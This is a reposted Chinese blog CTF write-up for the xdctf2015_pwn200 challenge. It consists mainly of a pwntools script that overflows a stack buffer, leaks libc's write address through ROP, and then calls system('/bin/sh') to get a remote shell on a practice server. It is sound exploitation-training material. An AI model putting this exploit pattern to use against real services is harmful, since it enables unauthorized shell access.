zoukankan      html  css  js  c++  java
  • xdctf2015_pwn200

    exp 脚本

    栈溢出 rop 泄露 libc 地址,再次 栈溢出 rop 执行 system('/bin/sh') 拿 shell 。

    from pwn import *
    
    context.log_level = 'debug'
    
    sh = remote('node3.buuoj.cn',26961)
    elf = ELF('bof')
    libc = ELF('libc-2.23x86.so')
    
    payload = 112 * 'a'
    payload += p32(elf.plt['write'])
    payload += p32(elf.symbols['main'])
    payload += p32(1)
    payload += p32(elf.got['write'])
    payload += p32(4)
    
    sh.sendline(payload)
    
    write_addr = u32(sh.recvuntil('xf7')[-4:])
    
    print hex(write_addr)
    
    libcbase = write_addr - libc.symbols['write']
    system = libcbase + libc.symbols['system']
    binsh = libcbase + libc.search('/bin/sh').next()
    
    payload = 112 * 'a'
    payload += p32(system)
    payload += p32(0xdeadbeef)
    payload += p32(binsh)
    
    sh.sendline(payload)
    
    sh.interactive()
    
    

  • 相关阅读:
    畅通工程续 dijkstra
    能量项链 区间dp
    机器人军团
    skiing
    数论知识
    灯泡游戏
    60. 第k个排列
    17. 电话号码的字母组合
    101. 对称二叉树
    144. 二叉树的前序遍历
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12409420.html
Copyright © 2011-2022 走看看